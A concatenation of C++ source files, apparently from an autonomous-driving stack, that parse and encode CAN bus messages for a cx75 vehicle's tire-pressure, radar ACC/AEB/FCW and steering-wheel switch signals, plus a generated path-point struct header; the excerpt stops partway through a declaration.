detail: {'name': 'tpms_system_status', 'enum': {0: 'TPMS_SYSTEM_STATUS_NO_ANY_ERROR', 1: 'TPMS_SYSTEM_STATUS_SYSTEM_ERROR', 2: 'TPMS_SYSTEM_STATUS_SYETEM_WAIT_FOR_LEARNING', 3: 'TPMS_SYSTEM_STATUS_WINTER_MODE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_system_statusType Gwtpmstire0x361361::tpms_system_status(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(6, 2); Gw_tpms_tire_0x361_361::Tpms_system_statusType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_system_statusType>(x); return ret; } // config detail: {'name': 'tpms_rr_pressure_warning', 'enum': {0: 'TPMS_RR_PRESSURE_WARNING_NO_WARNING', 1: 'TPMS_RR_PRESSURE_WARNING_HIGH_PRESSURE_WARNING', 2: 'TPMS_RR_PRESSURE_WARNING_LOW_PRESSURE_WARNING', 3: 'TPMS_RR_PRESSURE_WARNING_QUIK_LEAKAGE_RESERVED', 4: 'TPMS_RR_PRESSURE_WARNING_LOST_SENSOR', 5: 'TPMS_RR_PRESSURE_WARNING_SENSOR_BATTERY_LOW', 6: 'TPMS_RR_PRESSURE_WARNING_SENSOR_FAULTURE_RESERVED', 7: 'TPMS_RR_PRESSURE_WARNING_LOW_PRESSURE_WARN_QUIK_LEAK_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 50, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_rr_pressure_warningType Gwtpmstire0x361361::tpms_rr_pressure_warning(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 3); Gw_tpms_tire_0x361_361::Tpms_rr_pressure_warningType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_rr_pressure_warningType>(x); return ret; } // config detail: {'name': 'tpms_lr_pressure_warning', 'enum': {0: 'TPMS_LR_PRESSURE_WARNING_NO_WARNING', 1: 'TPMS_LR_PRESSURE_WARNING_HIGH_PRESSURE_WARNING', 2: 'TPMS_LR_PRESSURE_WARNING_LOW_PRESSURE_WARNING', 3: 'TPMS_LR_PRESSURE_WARNING_QUIK_LEAKAGE_RESERVED', 4: 'TPMS_LR_PRESSURE_WARNING_LOST_SENSOR', 5: 'TPMS_LR_PRESSURE_WARNING_SENSOR_BATTERY_LOW', 6: 'TPMS_LR_PRESSURE_WARNING_SENSOR_FAULTURE_RESERVED', 7: 'TPMS_LR_PRESSURE_WARNING_LOW_PRESSURE_WARN_QUIK_LEAK_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_lr_pressure_warningType Gwtpmstire0x361361::tpms_lr_pressure_warning(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(3, 3); Gw_tpms_tire_0x361_361::Tpms_lr_pressure_warningType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_lr_pressure_warningType>(x); return ret; } // config detail: {'name': 'tpms_temperature_warning', 'enum': {0: 'TPMS_TEMPERATURE_WARNING_NO_TEMPERATURE_WARNING', 1: 'TPMS_TEMPERATURE_WARNING_TEMPERATURE_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_temperature_warningType Gwtpmstire0x361361::tpms_temperature_warning(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Gw_tpms_tire_0x361_361::Tpms_temperature_warningType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_temperature_warningType>(x); return ret; } // config detail: {'name': 'tpms_resrved', 'enum': {0: 'TPMS_RESRVED_RESERVED', 1: 'TPMS_RESRVED_RESERVED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_resrvedType Gwtpmstire0x361361::tpms_resrved(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Gw_tpms_tire_0x361_361::Tpms_resrvedType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_resrvedType>(x); return ret; } // config detail: {'name': 'tire_position', 'enum': {0: 'TIRE_POSITION_NO_ANY_SENSOR_ERROR', 1: 'TIRE_POSITION_LEFT_FRONT_TIRE', 2: 'TIRE_POSITION_RIGHT_FRONT_TIRE', 3: 'TIRE_POSITION_RIGHT_REAR_TIRE', 4: 'TIRE_POSITION_LEFT_REAR_TIRE', 5: 'TIRE_POSITION_RESERVED', 6: 'TIRE_POSITION_RESERVED', 7: 'TIRE_POSITION_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 58, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tire_positionType Gwtpmstire0x361361::tire_position(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 3); Gw_tpms_tire_0x361_361::Tire_positionType ret = static_cast<Gw_tpms_tire_0x361_361::Tire_positionType>(x); return ret; } // config detail: {'name': 'tpms_lamp_status', 'enum': {0: 'TPMS_LAMP_STATUS_NO_LAMP_LIGHT', 1: 'TPMS_LAMP_STATUS_LAMP_FLASH', 2: 'TPMS_LAMP_STATUS_LAMP_LIGHT', 3: 'TPMS_LAMP_STATUS_RESEVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 60, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_lamp_statusType Gwtpmstire0x361361::tpms_lamp_status(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(3, 2); Gw_tpms_tire_0x361_361::Tpms_lamp_statusType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_lamp_statusType>(x); return ret; } // config detail: {'name': 'tpms_al_state', 'enum': {0: 'TPMS_AL_STATE_DEFAULTS', 1: 'TPMS_AL_STATE_SELF_LEARNING', 2: 'TPMS_AL_STATE_SELF_LEARNING_OVER', 3: 'TPMS_AL_STATE_RESERVE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 62, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tpms_tire_0x361_361::Tpms_al_stateType Gwtpmstire0x361361::tpms_al_state(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(5, 2); Gw_tpms_tire_0x361_361::Tpms_al_stateType ret = static_cast<Gw_tpms_tire_0x361_361::Tpms_al_stateType>(x); return ret; } // config detail: {'name': 'tpms_lf_pressure', 'offset': 0.0, 'precision': 2.75, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|698.5]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Kpa'} double Gwtpmstire0x361361::tpms_lf_pressure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); double ret = x * 2.750000; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/mrr_0x246_246.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Mrr0x246246::ID = 0x246; // public Mrr0x246246::Mrr0x246246() { Reset(); } uint32_t Mrr0x246246::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Mrr0x246246::UpdateData(uint8_t* data) { set_p_taugapset(data, taugapset_); set_p_dxtarobj(data, dxtarobj_); set_p_acchmi_mode(data, acchmi_mode_); set_p_accfailinfo(data, accfailinfo_); set_p_takeoverreq(data, takeoverreq_); set_p_mrr_fcw_sensitive(data, mrr_fcw_sensitive_); set_p_aeb_state(data, aeb_state_); set_p_acc_startstop_infor(data, acc_startstop_infor_); set_p_fcw_prewarning(data, fcw_prewarning_); set_p_fcw_latentwarning(data, fcw_latentwarning_); set_p_fcw_state(data, fcw_state_); set_p_obj_speed(data, obj_speed_); set_p_rolling_counter_0x246(data, rolling_counter_0x246_); set_p_textinfo(data, textinfo_); set_p_checksum_0x246(data, checksum_0x246_); set_p_vsetdis(data, vsetdis_); set_p_objvalid(data, objvalid_); } void Mrr0x246246::Reset() { // TODO you should check this manually taugapset_ = Mrr_0x246_246::TAUGAPSET_TAUGAP_0; dxtarobj_ = Mrr_0x246_246::DXTAROBJ_DISTANCE_0; acchmi_mode_ = Mrr_0x246_246::ACCHMI_MODE_OFF_MODE; accfailinfo_ = Mrr_0x246_246::ACCFAILINFO_NO_ERROR; takeoverreq_ = Mrr_0x246_246::TAKEOVERREQ_NO_TAKEOVER_REQUEST; mrr_fcw_sensitive_ = Mrr_0x246_246::MRR_FCW_SENSITIVE_UNAVAILABLE; aeb_state_ = Mrr_0x246_246::AEB_STATE_UNAVAILABLE; acc_startstop_infor_ = Mrr_0x246_246::ACC_STARTSTOP_INFOR_ACC_STOPALLOWED; fcw_prewarning_ = Mrr_0x246_246::FCW_PREWARNING_NO_WARNING; fcw_latentwarning_ = Mrr_0x246_246::FCW_LATENTWARNING_NO_WARNING; fcw_state_ = Mrr_0x246_246::FCW_STATE_UNAVAILABLE; obj_speed_ = 0; rolling_counter_0x246_ = 0; textinfo_ = Mrr_0x246_246::TEXTINFO_NO_DISPLAY; checksum_0x246_ = 0; vsetdis_ = Mrr_0x246_246::VSETDIS_INVALID; objvalid_ = Mrr_0x246_246::OBJVALID_NO_OBJECT; } Mrr0x246246* Mrr0x246246::set_taugapset( Mrr_0x246_246::TaugapsetType taugapset) { taugapset_ = taugapset; return this; } // config detail: {'name': 'TauGapSet', 'enum': {0: 'TAUGAPSET_TAUGAP_0', 1: 'TAUGAPSET_TAUGAP_1', 2: 'TAUGAPSET_TAUGAP_2', 3: 'TAUGAPSET_TAUGAP_3', 4: 'TAUGAPSET_TAUGAP_4', 5: 'TAUGAPSET_TAUGAP_5', 6: 'TAUGAPSET_TAUGAP_6', 7: 'TAUGAPSET_TAUGAP_7'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_taugapset(uint8_t* data, Mrr_0x246_246::TaugapsetType taugapset) { int x = taugapset; Byte to_set(data + 1); to_set.set_value(x, 1, 3); } Mrr0x246246* Mrr0x246246::set_dxtarobj( Mrr_0x246_246::DxtarobjType dxtarobj) { dxtarobj_ = dxtarobj; return this; } // config detail: {'name': 'dxTarObj', 'enum': {0: 'DXTAROBJ_DISTANCE_0', 1: 'DXTAROBJ_DISTANCE_1', 2: 'DXTAROBJ_DISTANCE_2', 3: 'DXTAROBJ_DISTANCE_3', 4: 'DXTAROBJ_DISTANCE_4', 5: 'DXTAROBJ_DISTANCE_5', 6: 'DXTAROBJ_DISTANCE_6', 7: 'DXTAROBJ_DISTANCE_7'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_dxtarobj(uint8_t* data, Mrr_0x246_246::DxtarobjType dxtarobj) { int x = dxtarobj; Byte to_set(data + 1); to_set.set_value(x, 4, 3); } Mrr0x246246* Mrr0x246246::set_acchmi_mode( Mrr_0x246_246::Acchmi_modeType acchmi_mode) { acchmi_mode_ = acchmi_mode; return this; } // config detail: {'name': 'ACCHMI_Mode', 'enum': {0: 'ACCHMI_MODE_OFF_MODE', 1: 'ACCHMI_MODE_PASSIVE_MODE', 2: 'ACCHMI_MODE_STAND_BY_MODE', 3: 'ACCHMI_MODE_ACTIVE_CONTROL_MODE', 4: 'ACCHMI_MODE_BRAKE_ONLY_MODE', 5: 'ACCHMI_MODE_OVERRIDE', 6: 'ACCHMI_MODE_STANDSTILL', 7: 'ACCHMI_MODE_FAILURE_MODE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_acchmi_mode(uint8_t* data, Mrr_0x246_246::Acchmi_modeType acchmi_mode) { int x = acchmi_mode; Byte to_set(data + 2); to_set.set_value(x, 0, 3); } Mrr0x246246* Mrr0x246246::set_accfailinfo( Mrr_0x246_246::AccfailinfoType accfailinfo) { accfailinfo_ = accfailinfo; return this; } // config detail: {'name': 'ACCFailInfo', 'enum': {0: 'ACCFAILINFO_NO_ERROR', 1: 'ACCFAILINFO_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_accfailinfo(uint8_t* data, Mrr_0x246_246::AccfailinfoType accfailinfo) { int x = accfailinfo; Byte to_set(data + 2); to_set.set_value(x, 3, 1); } Mrr0x246246* Mrr0x246246::set_takeoverreq( Mrr_0x246_246::TakeoverreqType takeoverreq) { takeoverreq_ = takeoverreq; return this; } // config detail: {'name': 'TakeOverReq', 'enum': {0: 'TAKEOVERREQ_NO_TAKEOVER_REQUEST', 1: 'TAKEOVERREQ_VALID_TAKEOVER_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_takeoverreq(uint8_t* data, Mrr_0x246_246::TakeoverreqType takeoverreq) { int x = takeoverreq; Byte to_set(data + 2); to_set.set_value(x, 4, 1); } Mrr0x246246* Mrr0x246246::set_mrr_fcw_sensitive( Mrr_0x246_246::Mrr_fcw_sensitiveType mrr_fcw_sensitive) { mrr_fcw_sensitive_ = mrr_fcw_sensitive; return this; } // config detail: {'name': 'MRR_FCW_Sensitive', 'enum': {0: 'MRR_FCW_SENSITIVE_UNAVAILABLE', 1: 'MRR_FCW_SENSITIVE_LEVEL1_LOW_SENSITIVE', 2: 'MRR_FCW_SENSITIVE_LEVEL2_NORMAL', 3: 'MRR_FCW_SENSITIVE_LEVEL3_HIGH_SENSITIVE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_mrr_fcw_sensitive(uint8_t* data, Mrr_0x246_246::Mrr_fcw_sensitiveType mrr_fcw_sensitive) { int x = mrr_fcw_sensitive; Byte to_set(data + 2); to_set.set_value(x, 6, 2); } Mrr0x246246* Mrr0x246246::set_aeb_state( Mrr_0x246_246::Aeb_stateType aeb_state) { aeb_state_ = aeb_state; return this; } // config detail: {'name': 'AEB_STATE', 'enum': {0: 'AEB_STATE_UNAVAILABLE', 1: 'AEB_STATE_OFF', 2: 'AEB_STATE_STANDBY', 3: 'AEB_STATE_ACTIVE_NO_INTERVENTION', 4: 'AEB_STATE_ACTIVE', 5: 'AEB_STATE_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 27, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_aeb_state(uint8_t* data, Mrr_0x246_246::Aeb_stateType aeb_state) { int x = aeb_state; Byte to_set(data + 3); to_set.set_value(x, 1, 3); } Mrr0x246246* Mrr0x246246::set_acc_startstop_infor( Mrr_0x246_246::Acc_startstop_inforType acc_startstop_infor) { acc_startstop_infor_ = acc_startstop_infor; return this; } // config detail: {'name': 'ACC_Startstop_infor', 'enum': {0: 'ACC_STARTSTOP_INFOR_ACC_STOPALLOWED', 1: 'ACC_STARTSTOP_INFOR_ACC_STOPFORBIDDEN', 2: 'ACC_STARTSTOP_INFOR_ACC_STARTREQUEST', 3: 'ACC_STARTSTOP_INFOR_ACC_SYSTEMFAILURE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_acc_startstop_infor(uint8_t* data, Mrr_0x246_246::Acc_startstop_inforType acc_startstop_infor) { int x = acc_startstop_infor; Byte to_set(data + 3); to_set.set_value(x, 4, 2); } Mrr0x246246* Mrr0x246246::set_fcw_prewarning( Mrr_0x246_246::Fcw_prewarningType fcw_prewarning) { fcw_prewarning_ = fcw_prewarning; return this; } // config detail: {'name': 'FCW_preWarning', 'enum': {0: 'FCW_PREWARNING_NO_WARNING', 1: 'FCW_PREWARNING_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 30, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_fcw_prewarning(uint8_t* data, Mrr_0x246_246::Fcw_prewarningType fcw_prewarning) { int x = fcw_prewarning; Byte to_set(data + 3); to_set.set_value(x, 6, 1); } Mrr0x246246* Mrr0x246246::set_fcw_latentwarning( Mrr_0x246_246::Fcw_latentwarningType fcw_latentwarning) { fcw_latentwarning_ = fcw_latentwarning; return this; } // config detail: {'name': 'FCW_latentWarning', 'enum': {0: 'FCW_LATENTWARNING_NO_WARNING', 1: 'FCW_LATENTWARNING_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_fcw_latentwarning(uint8_t* data, Mrr_0x246_246::Fcw_latentwarningType fcw_latentwarning) { int x = fcw_latentwarning; Byte to_set(data + 3); to_set.set_value(x, 7, 1); } Mrr0x246246* Mrr0x246246::set_fcw_state( Mrr_0x246_246::Fcw_stateType fcw_state) { fcw_state_ = fcw_state; return this; } // config detail: {'name': 'FCW_STATE', 'enum': {0: 'FCW_STATE_UNAVAILABLE', 1: 'FCW_STATE_OFF', 2: 'FCW_STATE_STANDBY', 3: 'FCW_STATE_ACTIVE_NO_INTERVENTION', 4: 'FCW_STATE_ACTIVE', 5: 'FCW_STATE_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_fcw_state(uint8_t* data, Mrr_0x246_246::Fcw_stateType fcw_state) { int x = fcw_state; Byte to_set(data + 4); to_set.set_value(x, 5, 3); } Mrr0x246246* Mrr0x246246::set_obj_speed( int obj_speed) { obj_speed_ = obj_speed; return this; } // config detail: {'name': 'Obj_Speed', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 47, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_obj_speed(uint8_t* data, int obj_speed) { obj_speed = ProtocolData::BoundedValue(0, 255, obj_speed); int x = obj_speed; Byte to_set(data + 5); to_set.set_value(x, 0, 8); } Mrr0x246246* Mrr0x246246::set_rolling_counter_0x246( int rolling_counter_0x246) { rolling_counter_0x246_ = rolling_counter_0x246; return this; } // config detail: {'name': 'Rolling_counter_0x246', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_rolling_counter_0x246(uint8_t* data, int rolling_counter_0x246) { rolling_counter_0x246_++; rolling_counter_0x246_=rolling_counter_0x246_<=15?rolling_counter_0x246_:0; rolling_counter_0x246_ = ProtocolData::BoundedValue(0, 15, rolling_counter_0x246_); int x = rolling_counter_0x246_; Byte to_set(data + 6); to_set.set_value(x, 0, 4); } Mrr0x246246* Mrr0x246246::set_textinfo( Mrr_0x246_246::TextinfoType textinfo) { textinfo_ = textinfo; return this; } // config detail: {'name': 'Textinfo', 'enum': {0: 'TEXTINFO_NO_DISPLAY', 1: 'TEXTINFO_ACC_IS_SWITCHED_ON', 2: 'TEXTINFO_ACC_IS_SWITCHED_OFF', 3: 'TEXTINFO_ACC_IS_CANCELLED', 4: 'TEXTINFO_ACC_ACTIVE', 5: 'TEXTINFO_MRR_BLINDNESS', 6: 'TEXTINFO_ACC_AND_PEBS_ERROR', 7: 'TEXTINFO_EPB_ACTIVATE', 8: 'TEXTINFO_NO_FORWARD_GEAR', 9: 'TEXTINFO_SEATBELT_UNBUCKLED', 10: 'TEXTINFO_ESP_OFF', 11: 'TEXTINFO_SPEED_OVER_150KPH', 12: 'TEXTINFO_DOOR_OPEN', 13: 'TEXTINFO_OVERRIDE', 14: 'TEXTINFO_ESP_ERROR', 15: 'TEXTINFO_UNCALIBRATED'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_textinfo(uint8_t* data, Mrr_0x246_246::TextinfoType textinfo) { int x = textinfo; Byte to_set(data + 6); to_set.set_value(x, 4, 4); } Mrr0x246246* Mrr0x246246::set_checksum_0x246( int checksum_0x246) { checksum_0x246_ = checksum_0x246; return this; } // config detail: {'name': 'Checksum_0x246', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_checksum_0x246(uint8_t* data, int checksum_0x246) { checksum_0x246 = (data[0]^data[1]^data[2]^data[3]^data[4]^data[5]^data[6]); checksum_0x246 = ProtocolData::BoundedValue(0, 255, checksum_0x246); int x = checksum_0x246; Byte to_set(data + 7); to_set.set_value(x, 0, 8); } Mrr0x246246* Mrr0x246246::set_vsetdis( Mrr_0x246_246::VsetdisType vsetdis) { vsetdis_ = vsetdis; return this; } // config detail: {'name': 'vSetDis', 'enum': {511: 'VSETDIS_INVALID'}, 'precision': 0.5, 'len': 9, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.5]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} void Mrr0x246246::set_p_vsetdis(uint8_t* data, Mrr_0x246_246::VsetdisType vsetdis) { int x = vsetdis / 0.500000; uint8_t t = 0; t = x & 0x1; Byte to_set0(data + 1); to_set0.set_value(t, 7, 1); x >>= 1; t = x & 0xFF; Byte to_set1(data + 0); to_set1.set_value(t, 0, 8); } Mrr0x246246* Mrr0x246246::set_objvalid( Mrr_0x246_246::ObjvalidType objvalid) { objvalid_ = objvalid; return this; } // config detail: {'name': 'ObjValid', 'enum': {0: 'OBJVALID_NO_OBJECT', 1: 'OBJVALID_TARGET_OBJECT_DETECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrr0x246246::set_p_objvalid(uint8_t* data, Mrr_0x246_246::ObjvalidType objvalid) { int x = objvalid; Byte to_set(data + 1); to_set.set_value(x, 0, 1); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_pathpoint_h #define impl_type_pathpoint_h #include "impl_type_double.h" #include "impl_type_string.h" struct PathPoint { ::Double x; ::Double y; ::Double z; ::Double theta; ::Double kappa; ::Double s; ::Double dkappa; ::Double ddkappa; ::String lane_id; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(x); fun(y); fun(z); fun(theta); fun(kappa); fun(s); fun(dkappa); fun(ddkappa); fun(lane_id); } template<typename F> void enumerate(F& fun) const { fun(x); fun(y); fun(z); fun(theta); fun(kappa); fun(s); fun(dkappa); fun(ddkappa); fun(lane_id); } bool operator == (const ::PathPoint& t) const { return (x == t.x) && (y == t.y) && (z == t.z) && (theta == t.theta) && (kappa == t.kappa) && (s == t.s) && (dkappa == t.dkappa) && (ddkappa == t.ddkappa) && (lane_id == t.lane_id); } }; #endif // impl_type_pathpoint_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_SWM_MRR_0X31B_31B_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_SWM_MRR_0X31B_31B_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwswmmrr0x31b31b : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwswmmrr0x31b31b(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'SWM_ACCtauGapSetPlus', 'enum': {0: 'SWM_ACCTAUGAPSETPLUS_NO_PRESS', 1: 'SWM_ACCTAUGAPSETPLUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetplusType swm_acctaugapsetplus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCvSetMinus', 'enum': {0: 'SWM_ACCVSETMINUS_NO_PRESS', 1: 'SWM_ACCVSETMINUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accvsetminusType swm_accvsetminus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ShiftPadReqUp', 'enum': {0: 'SWM_SHIFTPADREQUP_NO_PRESS', 1: 'SWM_SHIFTPADREQUP_PRESS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 10, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_shiftpadrequpType swm_shiftpadrequp(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCLimpHomeSts', 'enum': {0: 'SWM_ACCLIMPHOMESTS_NORMAL', 1: 'SWM_ACCLIMPHOMESTS_LIMPHOME'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_acclimphomestsType swm_acclimphomests(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_LaneAssistSwitch', 'enum': {0: 'SWM_LANEASSISTSWITCH_PREVENT_LANEASSIST_CONTROL', 1: 'SWM_LANEASSISTSWITCH_ENABLE_LANEASSIST_CONTROL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_laneassistswitchType swm_laneassistswitch(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SWM_ACCtauGapSetMinus', 'enum': {0: 'SWM_ACCTAUGAPSETMINUS_NO_PRESS', 1: 'SWM_ACCTAUGAPSETMINUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetminusType swm_acctaugapsetminus(const std::uint8_t* bytes, const 